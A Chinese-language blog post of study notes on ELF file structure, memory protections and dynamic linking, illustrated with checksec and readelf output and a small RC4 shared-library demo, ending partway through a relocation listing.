-
-
[原创]二进制安全-elf文件结构和动态链接
-
发表于: 2天前 747
-
二进制安全-elf文件结构和动态链接
Rop链
因为现在的NX保护,构造shellcode变得困难.所以现在一般用一些方法让ret返回到程序原本就有的代码去执行,
checksec
可以确定程序保护机制的开启情况
~/St/b/p/6/ret2libc (1) checksec ./pwn ✔ sage-10.6 16:05:18 [*] '/home/f0x/Study/binbinbin/pwn/6month/ret2libc (1)/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
可以简要介绍一下这几个保护机制
Arch: amd64-64-little
属性是小端序.这里是64bit开启小端序
- 大端序:符合人类阅读顺序,高位字节放在低地址处。
- 小端绪: 低位字节放低地址处
大端:12 34 56 78 小端:78 56 34 12
都表示 0x12345678
RELRO: Partial RELRO
重定位表只读保护
.got .dynamic .init_array .fini_array
主要是与重定位相关的区域设置为只读
不过这里有一个问题是他通常因为动态链接,不会完全保护```
.got.plt 表
等下我们可以一起回顾一下动态链接相关的内容,之前虽然血学过不过总感觉没透彻
- ps: RELO有多种
- NO RELRO : 重定位后不改变plt这些 表的读写
- Partial RELO: 部分改变 ,但是.got.plt不改变因为要延迟绑定
- FULL_RELRO:全部改变, 之后.got.plt就变成可读,可以适当减少安全风险
Stack: No canary found
金丝雀栈保护
编译器会在局部变量和返回地址之间插入一个 随机生成的特殊数值,函数返回前会检查这个数值,如果这个数值不一样则强制退出
如果能泄漏这个随即数值或者爆破的方法其实是可以绕过的
NX(No-eXecute)
全称不可执行保护,顾名思义
开启 NX 后,栈、堆这类数据区域通常不可执行。
ASLR
结合pie一起说就是, ASLR一般控制堆栈libc
ld-linux
mmap 区域
PIE 是 gcc 编译器的功能选项,作用于程序(ELF)编译过程中。是一个针对代码段( .text )、数据段( .data )、未初始化全局变量段( .bss )等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过 ROPgadget 等一些工具来帮助解题。
ASLR 有三个安全等级:
0: ASLR 关闭
1:随机化栈基地址(stack)、共享库(.so\libraries)、mmap 基地址
2:在1基础上,增加随机化堆基地址(chunk)
shadow stack
影子栈,影子栈是当今主流的硬件级防御,系统在受保护的隐藏内存区域维护一个返回地址的副本(影子栈),当函数返回时,硬件会比对主栈和影子栈中的返回地址。如果两者不一致,系统会立即拦截。
1.5 控制流完整性(CFI)
CFI 通过在编译阶段生成程序的控制流图(CFG),记录所有合法的跳转目标。程序执行每一个间接跳转(如函数返回、虚函数调用、指针跳转)之前,系统会实时比对目标地址是否在合法的 CFG 范围内;如果发现跳转目标不在预定义路径中,程序会立即终止,防止攻击者执行恶意代码。
链接
之前已经在CSAPP上学过了,不过吧.印象不是很深刻,这也是为什么无聊的试试万万pwn题...虽然只能做一些简单的哈哈哈.巩固一下还是不错的.ps:不知道为什么blog的latex渲染这么10.或许我需要更细了??再说吧
- 静态连接指的是链接器在生成可执行文件的时,把程序用到的多个目标文件 .o文件 ,以及静态库.a中需要的目标合块,合并到最终的可执行文件中,并完成符号解析,重定位等等工作.
这里简单解释一下elf文件的各种类型和基本结构
elf文件类型
- 可重定位目标文件(.o):还没有完成最终链接.里面有代码,数据,符号表和重定位信息
- 可执行文件:可直接运行的程序
- 共享目标文件:可被动态链接器加载 . .so动态库
- 核心转储文件:保存程序崩溃的时候 寄存器和内存线程信号等状态.主要用于调试器分析程序为什么崩溃...... 系统可能会生成一个core 文件.
elf文件的结构
elf 的结构有两种视角
链接过程中一般是以section(节)为基本单位.主要作用于编译,链接和符号解析,重定位的过程
加载执行的过程中一般是以(segment)为基本单位. 程序运行的时候如何装载进内存
readelf可以看到一个elf文件的文件头\
ELF 头: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 类别: ELF64 数据: 2 补码,小端序 (little endian) Version: 1 (current) OS/ABI: UNIX - System V ABI 版本: 0 类型: EXEC (可执行文件) 系统架构: Advanced Micro Devices X86-64 版本: 0x1 入口点地址: 0x4010b0 程序头起点: 64 (bytes into file) Start of section headers: 14272 (bytes into file) 标志: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 13 Size of section headers: 64 (bytes) Number of section headers: 31 Section header string table index: 30
这里包含了程序的基础信息
| 字段 | 作用 |
|---|---|
| Magic | ELF 文件识别标识 |
| 类别 | ELF64 |
| 数据 | 小端序 |
| version | elf文件的格式版本 |
| OS/ABI | 表示该 ELF 文件遵循哪种操作系统级二进制接口约定 |
| 类型 | 可执行文件 |
| 版本 | elf对象的文件版本 |
| 入口地址点 | 程序开始执行的入口地址 |
| 程序头起点 | 程序头在文件中的偏移,其实也对应了elf文件头的大小 |
| 节头起点 | Section Header Table 在文件中的偏移 |
| ELF头大小 | ELF头自身的大小 |
| 程序头数量 | 有 13 个 Program Header |
| 节头大小 | 每个 Section Header 的大小 |
| 程序头大小 | 每个 Program Header 的大小 |
| 节头数量 | 有 31 个 Section Header |
| 节名字符串表索引 | 第 30 个节保存节名字符串 |
readelf -S xx 输出节头
readellf -l xx 输出程序头
可以发现.. 一个段里面有多个section
~/St/binbinbin/pwn/6month/ret2libc (1) readelf -l pwn ✔ sage-10.6 15:31:32 Elf 文件类型为 EXEC (可执行文件) Entry point 0x4010b0 There are 13 program headers, starting at offset 64 程序头: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 0x00000000000002d8 0x00000000000002d8 R 0x8 INTERP 0x0000000000000318 0x0000000000400318 0x0000000000400318 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x0000000000000660 0x0000000000000660 R 0x1000 LOAD 0x0000000000001000 0x0000000000401000 0x0000000000401000 0x000000000000027d 0x000000000000027d R E 0x1000 LOAD 0x0000000000002000 0x0000000000402000 0x0000000000402000 0x0000000000000184 0x0000000000000184 R 0x1000 LOAD 0x0000000000002e10 0x0000000000403e10 0x0000000000403e10 0x0000000000000238 0x0000000000000280 RW 0x1000 DYNAMIC 0x0000000000002e20 0x0000000000403e20 0x0000000000403e20 0x00000000000001d0 0x00000000000001d0 RW 0x8 NOTE 0x0000000000000338 0x0000000000400338 0x0000000000400338 0x0000000000000030 0x0000000000000030 R 0x8 NOTE 0x0000000000000368 0x0000000000400368 0x0000000000400368 0x0000000000000044 0x0000000000000044 R 0x4 GNU_PROPERTY 0x0000000000000338 0x0000000000400338 0x0000000000400338 0x0000000000000030 0x0000000000000030 R 0x8 GNU_EH_FRAME 0x0000000000002030 0x0000000000402030 0x0000000000402030 0x000000000000004c 0x000000000000004c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000002e10 0x0000000000403e10 0x0000000000403e10 0x00000000000001f0 0x00000000000001f0 R 0x1 Section to Segment mapping: 段节... 00 01 .interp 02 .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt 03 .init .plt .plt.sec .text .fini 04 .rodata .eh_frame_hdr .eh_frame 05 .init_array .fini_array .dynamic .got .got.plt .data .bss 06 .dynamic 07 .note.gnu.property 08 .note.gnu.build-id .note.ABI-tag 09 .note.gnu.property 10 .eh_frame_hdr 11 12 .init_array .fini_array .dynamic .got
不同的segment以及里面的sections
这里就是一个Program header.描述Segment
在这些不同的
LOAD INTERP DYNAMIC NOTE GNU_PROPERTY GNU_STACK GNU_RELRO GNU_EH_FRAME
Program header种类中,只有LOAD才会真正被加载进内存,其他都是描述信息的
INTERP 告诉内核动态链接器路径在哪里 DYNAMIC 告诉动态链接器 .dynamic 表在哪里 NOTE 告诉系统/工具 note 信息在哪里 GNU_RELRO 告诉动态链接器哪些区域重定位完成后要改只读 GNU_STACK 告诉系统栈是否需要可执行权限
PHDR
PHDR Offset 0x40 VirtAddr 0x400040 FileSiz 0x2d8 MemSiz 0x2d8 Flags R
描述 Program Header Table 本身
根据描述.
- 程序头表的文件偏移0x40
- 运行时地址是0x400040
- 大小是0x2d8
- 权限是只读
INTERP
里面是 .interp节
INTERP Offset 0x318 VirtAddr 0x400318 FileSiz 0x1c MemSiz 0x1c Flags R
INTERP 指定程序需要哪个动态链器启动(
动态链接器:它不是普通依赖库,而是负责加载和链接其他共享库的动态链接器)
~/St/binbinbin/pwn/6month/ret2libc (1) readelf -p .interp pwn ✔ sage-10.6 16:05:54 String dump of section '.interp': [ 0] /lib64/ld-linux-x86-64.so.2
比如这里默认就是使用的系统的so文件.
如果程序是一个动态链接程序启动的流程就是
内核加载 pwn ↓ 读取 .interp ↓ 发现需要 /lib64/ld-linux-x86-64.so.2 ↓ 加载动态链接器 ↓ 动态链接器加载 libc ↓ 处理重定位 ↓ 跳到 pwn 的入口点 0x4010b0
第一个LOAD:只读元数据段
LOAD Offset 0x0 VirtAddr 0x400000 FileSiz 0x660 MemSiz 0x660 Flags R Align 0x1000#对其要求4096.就是程序的一页大小
这是第一个被加载到内存的段
表示直接从程序最开始到0x600的位置
文件其实地址就是基地址 0x400000
权限是只读R
该Segment的section有.interp .note.gnu.property .note.gnu.build-id .note.ABI-tag
.gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r
.rela.dyn .rela.plt
| section | 作用 |
|---|---|
| interp | 动态链接器路径(不是一般的依赖库) |
| .note.gnu.property | GNU的属性信息 |
| .note.gnu.build-id | 构建id,调试符号匹配会用到 |
| .note.ABI-tag | ABI相关说明 |
| .gnu.hash | 动态符号查找用的哈希表 |
| .dynsym | 动态符号表 |
| .dynstr | 动态字符串表 |
| .gnu.version | 符号版本信息 |
| .gnu.version_r | 依赖库的符号版本需求 |
| .rela.dyn | 普通动态重定位表 |
| .rela.plt | PLT 函数调用重定位表 |
这一段其实主要是给动态链接器读的
动态链接的字符串往往和符号表一同作用.一般来说 dynsym不直接在name 里面存放字符串里面有专门有一个偏移
利用.dynstr的起始地址+偏移的形式 定位name的字符串
Symbol table '.dynsym' contains 10 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.34 (2) 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (3) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (3) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (3) 5: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.2.5 (3) 7: 0000000000404060 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5 (3) 8: 0000000000404070 8 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.2.5 (3) 9: 0000000000404080 8 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.2.5 (3)
这里因为我readelf 使用了-W所以自动把name解析出来了
~/St/b/pwn/6month/ret2libc (1) readelf -p .dynstr ./pwn 1 ✘ sage-10.6 17:14:33 String dump of section '.dynstr': [ 1] read [ 6] __libc_start_main [ 18] stdout [ 1f] puts [ 24] fflush [ 2b] stdin [ 31] stderr [ 38] setbuf [ 3f] libc.so.6 [ 49] GLIBC_2.2.5 [ 55] GLIBC_2.34 [ 60] __gmon_start__
这是dynstr里面的内容
第二个LOAD代码段
LOAD Offset 0x1000 VirtAddr 0x401000 FileSiz 0x27d MemSiz 0x27d Flags R E Align 0x1000
这部分表示
- 这部分偏移是0x1000~0x127d 的内容
- 加载到内存 0x401000~0x40126d
- 文件权限是可读可执行
对应的section
03 .init .plt .plt.sec .text .fini
| section | 作用 |
|---|---|
| .init | 程序初始化代码 |
| .plt | 动态函数调用跳板.也是一段可执行的代码本质 |
| .plt.sec | 新式PLT相关代码 |
| .text | 主程序机器指令 |
| .fini | 程序结束时的代码 |
第三个LOAD,只读LOAD
Type LOAD Offset 0x002000 VirtAddr 0x402000 PhysAddr 0x402000 FileSiz 0x184 MemSiz 0x184 Flags R Align 0x1000
保留只读数据段,例如常量之类的
.rodata
- 保留只读数据,包括一些常量字符串之类的.例如printf("hello ")的hello,"%s"之类的
.eh_frame_hdr - 异常处理,栈展开信息检索
.eh_frame - 异常处理 / 栈展开信息
调试、异常处理、backtrace 时可能用到
第四个LOAD,可写数据段
Type LOAD Offset 0x002e10 VirtAddr 0x403e10 PhysAddr 0x403e10 FileSiz 0x238 MemSiz 0x280 Flags RW Align 0x1000
看权限是可读和可写
这里文件内容大小是0x238,MemSiz是内存空间的大小.文件映射到内存的内容是0x238剩下的这0x48其实也就是 .bss了
这部分加载的段加载下列 sections
- init_array
初始化函数指针调用 - fini_array
结束函数指针的数组 - .dynamic
动态链接信息表,里面根据他找到依赖库,重定位表,符号表,字符串表等等 - .got
全局偏移表
保存动态链接后解析出来的地址 - .got.plt
plt 使用的全局偏移表相关的部分 - .data
已经初始化的全局变量,静态变量 - .bss
没有加载的全局变量和静态变量
ps :可以补充一点的就是
静态局部变量,静态全局变量,全局变量都放在data 里面.但是他们可以通过symbols里面的 bind属性来判定是否使用 ,
bind 有四个值:
local,global,weak和UNIQUE
global就表示全局变量
local表示静态变量至于是局部还是全局的,就看这个变量是在哪个位置了
这里weak表示弱引用,如果同名的另一个是global,在链接的时候就用另一个.
dynamic
其实就是前面的.dynamic,因为在加载的时候动态链接器必须要用到.dynamic所以必须要加载使用.dynamic,所以仅仅前面那部分是无法分辨出.dynamic的位置的所以需要在这里确定.dynamic的位置
~/Study/binbinbin/pwn/6month/ret2libc (1) readelf -dW ./pwn ✔ 03:19:27 Dynamic section at offset 0x2e20 contains 24 entries: 标记 类型 名称/值 0x0000000000000001 (NEEDED) 共享库:[libc.so.6] 0x000000000000000c (INIT) 0x401000 0x000000000000000d (FINI) 0x401270 0x0000000000000019 (INIT_ARRAY) 0x403e10 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) 0x000000000000001a (FINI_ARRAY) 0x403e18 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) 0x000000006ffffef5 (GNU_HASH) 0x4003b0 0x0000000000000005 (STRTAB) 0x4004d0 0x0000000000000006 (SYMTAB) 0x4003e0 0x000000000000000a (STRSZ) 111 (bytes) 0x000000000000000b (SYMENT) 24 (bytes) 0x0000000000000015 (DEBUG) 0x0 0x0000000000000003 (PLTGOT) 0x404000 0x0000000000000002 (PLTRELSZ) 96 (bytes) 0x0000000000000014 (PLTREL) RELA 0x0000000000000017 (JMPREL) 0x400600 0x0000000000000007 (RELA) 0x400588 0x0000000000000008 (RELASZ) 120 (bytes) 0x0000000000000009 (RELAENT) 24 (bytes) 0x000000006ffffffe (VERNEED) 0x400558 0x000000006fffffff (VERNEEDNUM) 1 0x000000006ffffff0 (VERSYM) 0x400540 0x0000000000000000 (NULL) 0x0
这里就是.dynamic的内容,主要是给动态链接器看的.上面标注了很多内容,我们可以逐一解释
以便后续我们逐步了解动态链接的过程
分类的来看的话
依赖库: NEEDED libc.so.6 初始化/析构: INIT 0x401000 FINI 0x401270 INIT_ARRAY 0x403e10 INIT_ARRAYSZ 8 FINI_ARRAY 0x403e18 FINI_ARRAYSZ 8 动态符号查找: GNU_HASH 0x4003b0 SYMTAB 0x4003e0 SYMENT 24 STRTAB 0x4004d0 STRSZ 111 调试辅助: DEBUG 0x0 PLT/GOT/lazy binding: PLTGOT 0x404000 JMPREL 0x400600 PLTRELSZ 96 PLTREL RELA 普通重定位: RELA 0x400588 RELASZ 120 RELAENT 24 符号版本: VERSYM 0x400540 VERNEED 0x400558 VERNEEDNUM 1 结束: NULL 0x0
NEEDED就不用讲了,就是用来描述 所需要的依赖的
我们首先来看看
0x000000000000000c (INIT) 0x401000
0x0000000000000019 (INIT_ARRAY) 0x403e10
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x403e18
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
INIT在最开始的时候执行通常是一些初始化代码,然后 INIT_array是一个函数指针数组,之后这里面的函数依次执行,再然后这个INIT_ARRAYSZ其实是告诉一个INIT这个数组大小是8字节
FINI同理,就是结束的时候调用的函数
执行顺序如下
main 返回 / exit ↓ DT_FINI_ARRAY[n-1] ... DT_FINI_ARRAY[1] DT_FINI_ARRAY[0] ↓ DT_FINI
至于为什么 动态链接器需要fini这种,因为这些函数里面可能调用 puts这种
动态符号查找: GNU_HASH 0x4003b0 SYMTAB 0x4003e0 SYMENT 24 STRTAB 0x4004d0 STRSZ 111
这一部分主要是与动态符号查找有关.
- GNU_HASH
GNU 风格的动态符号哈希表地址.,能够加速动态链接器查找动态符号表的速度 - SYMTAB
其实就是.dynsym,前面以及讲过了.在动态链接部分会详细一起讲一下. - STRTAB
就是动态字符串表 - SYMENT
单个 .dynsym 符号表项大小,ELF64 下通常是 24 字节。 - STRSZ
动态字符串表大小,xx字节
PLT/GOT/lazy binding: PLTGOT 0x404000 JMPREL 0x400600 PLTRELSZ 96 PLTREL RELA
- PLTGOT
got.plt 这个应该都清楚了 - JMPREL
表示的.rela.plt - PLTRELSZ
整个 .rela.plt 的总字节大小 - PLTREL
表示他是这个RELA这种类型的
重定位有两种类型 - RELAENT:
单个 Elf64_Rela 表项大小,x86-64 下通常是 24 字节。
rela和rel rela多了一个偏移的addend数
符号版本: VERSYM 0x400540 VERNEED 0x400558 VERNEEDNUM 1
符号版本相关的这是.
- VERSYM
表示动态符号版本表.gnu.version的地址。 - VERNEED
表示版本需求表.gnu.version_r的地址。 - VERNEEDNUM
表示版本需求项数
后面主要就是一些元信息了
第一个note
Type NOTE Offset 0x000338 VirtAddr 0x400338 PhysAddr 0x400338 FileSiz 0x30 MemSiz 0x30 Flags R Align 0x8
对应 section:
.note.gnu.property
用于描述保存 GNU property note
用于描述二进制属性
第二个note
Type NOTE Offset 0x000368 VirtAddr 0x400368 PhysAddr 0x400368 FileSiz 0x44 MemSiz 0x44 Flags R Align 0x4
对应 section:
.note.gnu.build-id .note.ABI-tag
作用:
.note.gnu.build-id保存 build-id常用于调试符号匹配、core dump 分析
.note.ABI-tag保存 ABI 相关说明
同样也位于第一个 LOAD里面
GNU_PROPERTY
Type GNU_PROPERTY Offset 0x000338 VirtAddr 0x400338 PhysAddr 0x400338 FileSiz 0x30 MemSiz 0x30 Flags R Align 0x8
对应sections:
.note.gnu.property
它和前面的第一个 NOTE 指向同一片内容
GNU_EH_FRAME
Type GNU_EH_FRAME Offset 0x002030 VirtAddr 0x402030 PhysAddr 0x402030 FileSiz 0x4c MemSiz 0x4c Flags R Align 0x4
异常处理相关的
eh_frame_hdr
用于异常处理和栈展开
GNU_STACK
Type GNU_STACK Offset 0x0 VirtAddr 0x0 PhysAddr 0x0 FileSiz 0x0 MemSiz 0x0 Flags RW Align 0x10
没有对应的sections,单纯描述stack的权限不可执行,对应了NX.
GNU_RELRO
Type GNU_RELRO Offset 0x002e10 VirtAddr 0x403e10 PhysAddr 0x403e10 FileSiz 0x1f0 MemSiz 0x1f0 Flags R Align 0x1
描述程序启动完成后哪些sections的 权限需要改为只读
.init_array .fini_array .dynamic .got
这些在动态链接完成后权限就会改变为仅仅可读,不过因为延迟绑定got.plt不用改
需要注意的是虽然.init_array 和.fini_array里面存的本来就是 函数的地址,而不是 像外部调用这个 call [ip] ,然后*ip= xxx; xxx这个地址的这种.形式.
所以是不会使用延迟绑定的,需要在启动的时候直接更改了.
链接过程
示例demo
这里写了一个示例的demo
main.c
#include "rc4demo.h"
#include <stdio.h>
#include <string.h>
typedef void (*hook_t)(void);
/*
* main 自己内部的 init 函数
*/
static void main_init_hook(void) {
puts("[main] main_init_hook called from main .init_array");
}
/*
* main 自己内部的 fini 函数
*/
static void main_fini_hook(void) {
puts("[main] main_fini_hook called from main .fini_array");
}
/*
* main 自己内部的函数指针目标
*/
static void main_fp_target(void) {
puts("[main] main_fp_target called through function pointer");
}
/*
* 1. 往 main 的 .init_array 里放 main 内部函数地址
*
* PIE 下通常产生 R_X86_64_RELATIVE:
* .init_array[i] = main_base + main_init_hook_offset
*/
__attribute__((used, section(".init_array.01000"), aligned(sizeof(void *))))
static hook_t init_main_ptr = main_init_hook;
/*
* 2. 往 main 的 .init_array 里放 so 里的外部函数地址
*
* 这个不是 PLT 懒绑定。
* 它是“数据里的函数指针”,通常会在 .rela.dyn 里产生符号型重定位:
* .init_array[i] = lib_init_hook 的真实地址
*/
__attribute__((used, section(".init_array.01001"), aligned(sizeof(void *))))
static hook_t init_lib_ptr = lib_init_hook;
/*
* 3. 往 main 的 .fini_array 里放 main 内部函数地址
*
* PIE 下通常也是 R_X86_64_RELATIVE。
*/
__attribute__((used, section(".fini_array.01000"), aligned(sizeof(void *))))
static hook_t fini_main_ptr = main_fini_hook;
/*
* 4. 往 main 的 .fini_array 里放 so 里的外部函数地址
*
* 同样是 .rela.dyn 符号型重定位,不是 .rela.plt。
*/
__attribute__((used, section(".fini_array.01001"), aligned(sizeof(void *))))
static hook_t fini_lib_ptr = lib_fini_hook;
/*
* 5. 普通全局函数指针:指向 main 内部函数
*
* PIE 下通常产生 R_X86_64_RELATIVE。
*/
hook_t fp_to_main = main_fp_target;
/*
* 6. 普通全局函数指针:指向 so 外部函数
*
* 通常产生 .rela.dyn 里的符号型重定位。
*/
hook_t fp_to_lib = lib_fp_target;
int main(void) {
setbuf(stdout, NULL);
puts("[main] enter main");
/*
* 访问 so 里的全局变量。
* lib_banner / lib_global_counter 是外部数据符号。
*/
printf("[main] lib_banner = %s\n", lib_banner);
printf("[main] lib_global_counter before = 0x%x\n", lib_global_counter);
/*
* 函数指针间接调用。
*
* 汇编里通常类似:
* mov rax, [fp_to_main]
* call rax
*
* mov rax, [fp_to_lib]
* call rax
*/
fp_to_main();
fp_to_lib();
/*
* rc4_init / rc4_crypt 是 so 里的外部函数。
* 这种直接调用通常走 PLT:
*
* call rc4_init@plt
* call rc4_crypt@plt
*/
const uint8_t key[] = "secret";
uint8_t data[] = "hello rc4";
RC4_CTX ctx;
rc4_init(&ctx, key, strlen((const char *)key));
rc4_crypt(&ctx, data, strlen((const char *)data));
printf("[main] encrypted bytes:");
for (size_t i = 0; i < strlen((const char *)"hello rc4"); i++) {
printf(" %02x", data[i]);
}
putchar('\n');
printf("[main] lib_global_counter after = 0x%x\n", lib_global_counter);
puts("[main] leave main");
return 0;
}librc4demo.c
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#define SBOX_SIZE 256
typedef struct {
uint8_t S[SBOX_SIZE];
uint8_t i;
uint8_t j;
} RC4_CTX;
/*
* 这个全局变量定义在 so 里面。
* main 程序里会 extern 引用它,用来观察外部全局变量的动态重定位。
*/
int lib_global_counter = 0x1234;
/*
* 这个也是 so 里的全局变量。
* main 程序会读取它。
*/
const char *lib_banner = "[lib] rc4 demo shared object";
/*
* 这个函数会被 main 程序手动放进 main 的 .init_array。
* 注意:这个函数定义在 so 里面。
*/
void lib_init_hook(void) {
puts("[lib] lib_init_hook called from main .init_array");
lib_global_counter += 1;
}
/*
* 这个函数会被 main 程序手动放进 main 的 .fini_array。
* 注意:这个函数也定义在 so 里面。
*/
void lib_fini_hook(void) {
printf("[lib] lib_fini_hook called from main .fini_array, counter=%d\n",
lib_global_counter);
}
/*
* 这个函数会被 main 程序的函数指针 fp_to_lib 调用。
*/
void lib_fp_target(void) {
puts("[lib] lib_fp_target called through function pointer");
lib_global_counter += 2;
}
/*
* RC4 初始化函数。
* main 直接调用 rc4_init,这种外部函数调用通常会走 PLT。
*/
void rc4_init(RC4_CTX *ctx, const uint8_t *key, size_t key_len) {
uint8_t j = 0;
for (int i = 0; i < SBOX_SIZE; i++) {
ctx->S[i] = (uint8_t)i;
}
for (int i = 0; i < SBOX_SIZE; i++) {
j = (uint8_t)(j + ctx->S[i] + key[i % key_len]);
uint8_t tmp = ctx->S[i];
ctx->S[i] = ctx->S[j];
ctx->S[j] = tmp;
}
ctx->i = 0;
ctx->j = 0;
printf("[lib] rc4_init done, key_len=%zu\n", key_len);
}
/*
* RC4 加密/解密函数。
* main 直接调用 rc4_crypt,这种外部函数调用通常也会走 PLT。
*/
void rc4_crypt(RC4_CTX *ctx, uint8_t *data, size_t len) {
for (size_t n = 0; n < len; n++) {
ctx->i = (uint8_t)(ctx->i + 1);
ctx->j = (uint8_t)(ctx->j + ctx->S[ctx->i]);
uint8_t tmp = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = tmp;
uint8_t k = ctx->S[(uint8_t)(ctx->S[ctx->i] + ctx->S[ctx->j])];
data[n] ^= k;
}
}rc4demo.h
#ifndef RC4DEMO_H
#define RC4DEMO_H
#include <stdint.h>
#include <stddef.h>
#define SBOX_SIZE 256
typedef struct {
uint8_t S[SBOX_SIZE];
uint8_t i;
uint8_t j;
} RC4_CTX;
/* so 里的全局变量 */
extern int lib_global_counter;
extern const char *lib_banner;
/* so 里的 hook 函数 */
void lib_init_hook(void);
void lib_fini_hook(void);
void lib_fp_target(void);
/* so 里的 RC4 函数 */
void rc4_init(RC4_CTX *ctx, const uint8_t *key, size_t key_len);
void rc4_crypt(RC4_CTX *ctx, uint8_t *data, size_t len);
#endif之后编译
gcc -O0 -g -fPIC -shared librc4demo.c -o librc4demo.so
gcc -O0 -g main.c -L. -lrc4demo -Wl,-rpath,'$ORIGIN' -o main_rc4
动态链接
动态链接相关的sections有这些,其实基本就是.dynamic里面的那些.
这里我们以现在的.plt.sec的调用形式为基准
.interp 存放动态链接器的路径, 在内核启动阶段调用
.dynamic 动态链接总目录 在动态链接器启动时读取
.dynsym 动态符号表 用于符号解析,提供符号信息
.dynstr 动态字符串表name 来源于 .dynstr前面已经说过了 在符号解析的时候时候
.gun.hash 加速符号查找 在符号解析的时候使用
.gnu.version 符号版本索引 版本匹配
.gnu.version_r 需要的外部版本 版本匹配
.gnu.version_d 当前so定义的版本 版本匹配
其实都是glibc版本相关的,具体应该没啥吧,暂时先不管
.rela.dyn 普通动态重定位表 稍后 启动阶段使用
.rela.plt plt函数重定位 用于懒绑定
.plt 第一次调用某个函数的时候进入
.plt.sec 第一次先进入plt调用 动态链接器 之后就能直接从got.plt调用函数了
.plt.got 一些可能不适合使用懒加载的函数调用,具体稍后讲.
.got 全局偏移表
.got.plt 懒加载相关的偏移表
.init_array .fini_array .init .fini 前面都说过了.后面再说
.data.rel.ro重定位后的只读数据,比较难理解感觉.后面一起讲吧
动态链接的整体流程如下.这里是根据前面的内容结合ai整理了一下
execve("./main_rc4")
↓
内核读取 ELF Header
↓
内核读取 Program Header
↓
根据 PT_LOAD 映射主程序的可加载段
↓
发现 PT_INTERP
↓
加载 /lib64/ld-linux-x86-64.so.2
↓
把控制权交给动态链接器
↓
动态链接器读取主程序 PT_DYNAMIC / .dynamic
↓
根据 DT_NEEDED 找依赖库
↓
mmap 加载 libc、librc4demo.so 等共享库
↓
为每个已加载 ELF 建立 link_map
↓
处理 .rela.dyn 普通重定位
↓
处理 .rela.plt 或保留 lazy binding
↓
设置 RELRO,只读化部分 GOT / .dynamic / init_array
↓
执行各共享库和主程序的初始化函数
↓
跳到主程序入口 _start
↓
__libc_start_main 调用 main重定位
两个相关的.rela.dyn,和.rela.plt 这两个区别其实就是与延迟绑定有关我们放在稍后讲一下
动态链接器一般就是通过rela 判断哪些位置需要重定位的.rela再通过 .dynsym 确认重定位项的符号信息.
~/Study/binbinbin/pwn/6month/ret2libc (1)/test readelf -rW ./main_rc4 ✔ 02:09:02 重定位节 '.rela.dyn' at offset 0x760 contains 17 entries: 偏移量 信息 类型 符号值 符号名称 + 加数 0000000000003d78 0000000000000008 R_X86_64_RELATIVE 1229 0000000000003d88 0000000000000008 R_X86_64_RELATIVE 1220 0000000000003d90 0000000000000008 R_X86_64_RELATIVE 1243 0000000000003da0 0000000000000008 R_X86_64_RELATIVE 11e0 0000000000004048 0000000000000008 R_X86_64_RELATIVE 4048 0000000000004050 0000000000000008 R_X86_64_RELATIVE 125d 0000000000003d80 0000000f00000001 R_X86_64_64 0000000000000000 lib_init_hook + 0 0000000000003d98 0000000e00000001 R_X86_64_64 0000000000000000 lib_fini_hook + 0 0000000000003fa8 0000000200000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0 0000000000003fb0 0000000300000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMCloneTable + 0 0000000000003fb8 0000000400000006 R_X86_64_GLOB_DAT 0000000000000000 stdout@GLIBC_2.2.5 + 0 0000000000003fc0 0000000b00000006 R_X86_64_GLOB_DAT 0000000000000000 lib_global_counter + 0 0000000000003fc8 0000000d00000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0 0000000000003fd0 0000001000000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTable + 0 0000000000003fd8 0000001100000006 R_X86_64_GLOB_DAT 0000000000000000 lib_banner + 0 0000000000003fe0 0000001300000006 R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0 0000000000004058 0000000a00000001 R_X86_64_64 0000000000000000 lib_fp_target + 0 重定位节 '.rela.plt' at offset 0x8f8 contains 8 entries: 偏移量 信息 类型 符号值 符号名称 + 加数 0000000000004000 0000000100000007 R_X86_64_JUMP_SLOT 0000000000000000 putchar@GLIBC_2.2.5 + 0 0000000000004008 0000000500000007 R_X86_64_JUMP_SLOT 0000000000000000 